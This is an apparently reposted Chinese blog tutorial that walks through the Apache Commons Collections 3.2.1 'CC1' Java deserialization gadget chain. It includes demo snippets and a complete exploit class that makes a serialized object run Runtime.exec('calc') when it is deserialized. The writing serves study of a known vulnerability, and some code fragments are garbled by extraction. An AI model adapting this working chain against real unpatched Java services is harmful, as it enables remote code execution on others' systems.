Apache Commons 当中有⼀个组件叫做 Apache Commons Collections ,主要封装了Java 的 Collection(集合) 相关类对象,它提供了很多强有⼒的数据结构类型并且实现了各种集合工具类。
作为Apache开源项⽬的重要组件,Commons Collections被⼴泛应⽤于各种Java应⽤的开发,⽽正 是因为在⼤量web应⽤程序中这些类的实现以及⽅法的调⽤,导致了反序列化⽤漏洞的普遍性和严重性。
Apache Commons Collections中有⼀个特殊的接口,其中有⼀个实现该接口的类可以通过调用 Java的反射机制来调用任意函数,叫做InvokerTransformer。
环境
CommonsCollections <= 3.2.1
java < 8u71(我是用的是8u66)
导入Maven依赖
commons-collections
commons-collections
3.2.1
当然也可以 用传统的 lib包下导入add as a library
CC1链 利用过程分析: 0x01 Transformer接口Transformer是一个接口类,提供了一个对象转换方法transform(接收一个对象,然后对对象作一些 *** 作并输出):
package org.apache.commons.collections; public interface Transformer { public Object transform(Object input); }
该接口的重要实现类有:ConstantTransformer、invokerTransformer、ChainedTransformer、TransformedMap 。
ConstantTransformer类关键代码如下:
接受一个对象返回一个常量,无论接收什么对象都返回 iConstant
这个常量在构造函数当中
ChainedTransformer类
当传⼊的参数是⼀个数组的时候,就开始循环读取,对每个参数调⽤ transform ⽅法,从⽽构造出 ⼀条链。
它赋值时会传入一个要调用方法的数组,然后将传入的方法链式(前一个的输出作后一个的输入)调用。
InvokerTransformer类我们先看一下它的 transform 方法,传入一个对象,然后反射调用。方法值,参数类型,参数都是可控的。
为什么说是可控的呢?我们看它的构造方法就会明白。
这里其实就是一个很标准的任意方法调用。
例子1:利用该方法d出计算器:
import org.apache.commons.collections.functors.InvokerTransformer; public class demo01 { public static void main(String[] args) throws Exception { Runtime runtime = Runtime.getRuntime(); new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime); } }
这里为 InvokerTransformer 类中的 transform 方法传入Runtime实例,同时通过构造方法传入了exec方法以及需要的参数类型(String.class)和参数值(calc),我们之前提到了 transform 方法中的反射调用,所以成功d出计算器。
所以我们下一步就需要向上一层寻找谁调用了InvokerTransformer 类中的 transform 方法
右键 Find Usages 查看调用,寻找不同名字调用的 transform 方法,如果是transform 再调用 transform 是没有意义的,我们最后的目标是要回到 readObject 中。
假如再寻找的过程中 a方法 调用了 transform,那么我们就要继续寻找 谁调用了 a 方法,最终找到 readObject 方法。
最终是可以发现Map类中可以入手的(前辈们找到的)
0x02 TransformedMap类
TransformedMap 中 checkSetValue 中调用了 transform 方法
TransformedMap 构造函数
我们可以根据构造函数理解一下TransformedMap 的功能,接收一个Map进来,分别对 key 和 Value 进行一些 *** 作。
因为构造方法是 protected 保护方法
所以我们可以找到在该类中调用它的方法 decorate
0x03 AbstractInputCheckedMapDecorator类我们再寻找那个方法调用了checkSetValue 方法。只有一处调用,setValue 方法调用了 checkSetValue。
我们可以发现 AbstractInputCheckedMapDecorator 是 TransformedMap的父类。
这里需要我们理解一下(再去翻代码是有一些繁琐的)
MapEntry中的setValue方法其实就是Entry中的setValue方法,他这里重写了setValue方法。
TransformedMap接受Map对象并且进行转换是需要遍历Map的,遍历出的一个键值对就是Entry,所以当遍历Map时,setValue方法也就执行了。
发现这一点的话,我们就可以通过遍历Map来触发代码的执行。
例子2:我们写一个例子帮助理解一下。
import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.util.HashMap; import java.util.Map; public class demo01 { public static void main(String[] args) throws Exception { Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); // 以下步骤就相当于 invokerTransformer.transform(runtime); HashMap0x04 AnnotationInvocationHandler类
回到本职工作,我们再寻找谁调用的setValue 方法,还是不同名的方法掉用。
打断一下——下载源码,帮助调试这里需要我们自己加入sun包的源码,因为一些原因IDEA中是没有一部分包(这里重点是sun包)的java文件,只有class文件。所以调试时会遇到找不到的问题,我们必须手动添加源码。
源码下载地址:
下载版本相对应的源码
jdk8u/jdk8u/jdk: af660750b2f4
解压后拷贝sun包
拷贝到jdk8u66的src文件下
IDEA中将src路径加入
这样我们在调试的时候就可以看到sun包的源码了,同时发现了 AnnotationInvocationHandler 中的 readObject 调用了setValue 方法,我们也是成功找到了readObject方法。
回归正题接下来我们分析 AnnotationInvocationHandler 类,需要注意的时他不是public,只能在所属包下访问到,所以我们通过反射获取。
先看一下构造函数,接收两个参数 class对象(注解)和map对象,这个map是我们可以控制的,可以放置我们构造好的map。
同时在readObject方法,我们也发现Map的遍历
例子3
import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.util.HashMap; import java.util.Map; public class demo01 { public static void main(String[] args) throws Exception { //演示demo,省略部分代码,通过以下代码我们就可以获得AnnotationInvocationHandler对象 Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); //创建构造器 Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class); //保证可以访问到 annotationInvocationHandlerConstructor.setAccessible(true); //实例化传参,注解和构造好的Map Object o = annotationInvocationHandlerConstructor.newInstance(Override.class, transformedMap); //正常序列化与反序列化 serialize(o); unserialize("ser.bin"); } public static void serialize(Object obj) throws Exception { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws Exception { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }0x05 结束
其实到这里以及分析的差不多了,只有一些小问题需要我们去解决。
第一点:通过 InvokerTransformer方法获取runtime实例,并执行代码
第二点:readObject方法中有两个if判断,我们需要满足两个 if判断 才能成功执行serValue方法,这个地方可以自己DeBug一下。
第三点,readObject方法中setValue方法中的值为 AnnotationTypeMismatchExceptionProxy,不是我们想要的Runtime.class,所以在 transformers 中加入了 new ConstantTransformer(Runtime.class),确保value值为我们的Runtime.class
最后献上完整代码:package cc1; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map; public class demo01 { public static void main(String[] args) throws Exception { // //正常获取runtime实例 // Runtime runtime = Runtime.getRuntime(); // //反射获取 runtime实例,并执行代码 // Class c = Runtime.class; // Method getRuntimeMethod = c.getMethod("getRuntime", null); // Runtime runtime = (Runtime) getRuntimeMethod.invoke(null, null); // Method execMethod = c.getMethod("exec", String.class); // execMethod.invoke(runtime,"calc"); // //InvokerTransformer方法获取runtime实例,并执行代码 // Method getRuntimeMethod = (Method) new InvokerTransformer("getRuntime", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class); // Runtime runtime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod); // new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime); //通过ChainedTransformer实现 InvokerTransformer方法获取runtime实例,并执行代码 Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); //chainedTransformer.transform(Runtime.class); HashMapmap = new HashMap<>(); map.put("value","value"); Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); //创建构造器 Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class); //保证可以访问到 annotationInvocationHandlerConstructor.setAccessible(true); //实例化传参,注解和构造好的Map Object o = annotationInvocationHandlerConstructor.newInstance(Target.class, transformedMap); serialize(o); unserialize("ser.bin"); } public static void serialize(Object obj) throws Exception { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws Exception { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
参考链接
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java
Java反序列化CommonsCollections篇(一) CC1链手写EXP_哔哩哔哩_bilibili
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)